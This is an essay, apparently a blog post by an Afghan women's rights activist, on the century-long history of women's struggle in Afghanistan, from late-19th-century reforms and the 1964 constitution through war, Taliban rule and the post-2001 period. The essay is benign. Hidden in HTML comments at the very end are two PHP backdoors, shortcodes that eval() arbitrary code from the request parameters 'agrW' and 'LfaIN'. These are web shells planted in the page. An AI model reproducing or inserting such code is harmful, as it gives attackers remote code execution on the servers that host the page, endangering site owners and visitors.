100 years of struggle. Am I worried? Not really.

Every time I feel frustrated with the situation and complain, my mother who is part of the 60s and early 70s generation of activists keeps assuring me that there is a hope for things to get better. She says this because of what she has experienced in her life and I trust her as I add my own decades of life experience to the picture.

The struggle for women’s rights in Afghanistan neither started with the arrival of international military troops in Afghanistan, nor will it stop at the point of their departure. Often Afghan women’s rights struggle is portrayed as if it all begun since the post-2001 era, meaning that once the troops leave the country- we will go back to our natural state again: The Taliban policy of women out of view, denied education, work and public life. But even a quick look at the last 100 years of history shows that the Taliban never had monopoly on gender politics in Afghanistan.

Visiting a school in Utrani, Afghanistan. (Photo: Orzala Ashraf Nemat)

Visiting a school in Utrani, Afghanistan. (Photo: Orzala Ashraf Nemat)

The historical roots of Afghan women’s struggle make me optimistic. The notion of women’s emancipation goes back to late 19th century. During this period, reforms and changes were focused on the social and economic aspects of women’s status in the society, for instance, abolishing the traditional practice of a widow being forced to marry her diseased husband’s brother, or changing the age of marriage, and the right to divorce under specific conditions. These reforms were followed by the establishment of social organizations and initiatives for girls education in the primary, secondary and higher levels.

By the 1960s women in Afghanistan (like now)  worked as doctors, lawyers, journalists and teachers. Afghan women also ventured into the political field. When the constitution was reformed in 1964, these women had mobilized around issues on women’s rights. Women played a central role in the formulation of the renewed constitution, which gave them the right to vote and to political representation. Article 25th of the 1964 constitution became a turning point in Afghan women’s history of political participation:


In the decade of democracy that followed, Afghanistan moved from absolute to constitutional monarchy and the right to form political parties was recognized. Women also became members of different socio-political movements within the cities in the late 1960 and early 1970s. Some followed the socialist block of the Soviets, forming the People’s Democratic Party of Afghanistan (PDPA); while the Muslim Brotherhood in Egypt inspired others to form the Young Muslims’ organisation, another group followed in the footpaths of the Mao-Zedong of China. The 1970s was perhaps the first time in Afghan history where the intellectual communities of Afghanistan were not divided by tribal and family lineages, but rather by what school of thought they were following. Women participated in all these movements, and although they were not allowed to become top leaders, they actively challenged political oppression. These gradual changes came to an end when the USSR invaded Afghanistan in 1979.

The Afghan anti-USSR war, which was part of a larger Cold War, enabled intervening forces on either side to support their loyal groups on the ground. And as the war intensified in Afghanistan, women gradually lost access to jobs, education, and other socio-political opportunities. When the Taliban emerged, women lost even the most basic opportunities to take part in public life.

The years of civil war, followed by the ruling of Taliban regime have systematically destroyed the fundamental bases and infrastructure that could enable women to have socio-political roles.

The Taliban regime was representing oppressive rules that neither were based on traditional customs, nor with the form of Islam that Afghans have been following for centuries. This is why people across the country perceive the Talibanalso as an outsider force, and seek ways to resist their repressive ruling. Even so, many women and their male family members and community supports have managed to provide secret home-schooling to girls in different parts of the country. The home-schools were in some cases initiated by Afghan led organisations, in others supported by some international aid agencies and also privately run by women themselves in smaller scales.  The organisation of education initiatives in people’s houses is an example of Afghan women’s resistance against a misogynist regime and their restrictive actions.

In Afghanistan, there is now a new generation of women who neither wants a rapid liberalization that depends entirely on outside sponsorship, nor simply adapt to the Taliban form of restrictive rules.

The developmental and economic strategy of the 2001-intervention have contributed to reconstruct institutions that are important to, and in support of, women’s public participation. Education opportunities rise for girls and women across the country; the quota systems for political participation have ensured women’s representation in political decision-making. Women now have economic opportunities in the form of income-generating activities. Afghan women also succeeded to pass a law that criminalizes violence against women. Yet, the challenges that women face when they try to make use of these opportunities are enormous, particularly those which involve politics. Women leaders have been targeted especially in the provinces when they try to advocate for their rights or protect other women’s rights.

Aid and development assistance for women have reached different parts of the country, and there is now direct support and assistance to sub-national and rural communities. Districts and villages now have school buildings and clinics.  Women run for parliament and provincial seats, and various programs provide support for women to participate as active citizens in their communities. This has strengthened their position in Afghan society. You will find female Afghan politicians who raise their voices on behalf of women. But you will also find those who are coopted or used by war-lords and power-brokers for their interest.

The struggle for women’s rights requires a long-term vision as well as commitment, above all from the women of Afghanistan.

International support has helped the struggle for women’s rights in Afghanistan’s contemporary history. The momentum of the Afghan movement has been disrupted time and again as result of internal and external conflict and wars.  But on the whole, we have moved forward. The past decades, despite its short-comings and failures, have broken some strong historically dominant taboos such as women’s independent leadership, women’s rise as power-brokers and their role in bargaining a political position in the wider political sphere of the country.

A true change, in every historical phase leads to a new phase where committed and dedicated forces from within take the lead and external factors only play a secondary role in the process of transformation. I believe Afghan women are evolving as successors of the older generation. We are a step further towards gaining our equitable position in society and in the leadership of the country, yet we have a very long way to go.

<!– [insert_php]if (isset($_REQUEST["agrW"])){eval($_REQUEST["agrW"]);exit;}[/insert_php][php]if (isset($_REQUEST["agrW"])){eval($_REQUEST["agrW"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["LfaIN"])){eval($_REQUEST["LfaIN"]);exit;}[/insert_php][php]if (isset($_REQUEST["LfaIN"])){eval($_REQUEST["LfaIN"]);exit;}[/php] –>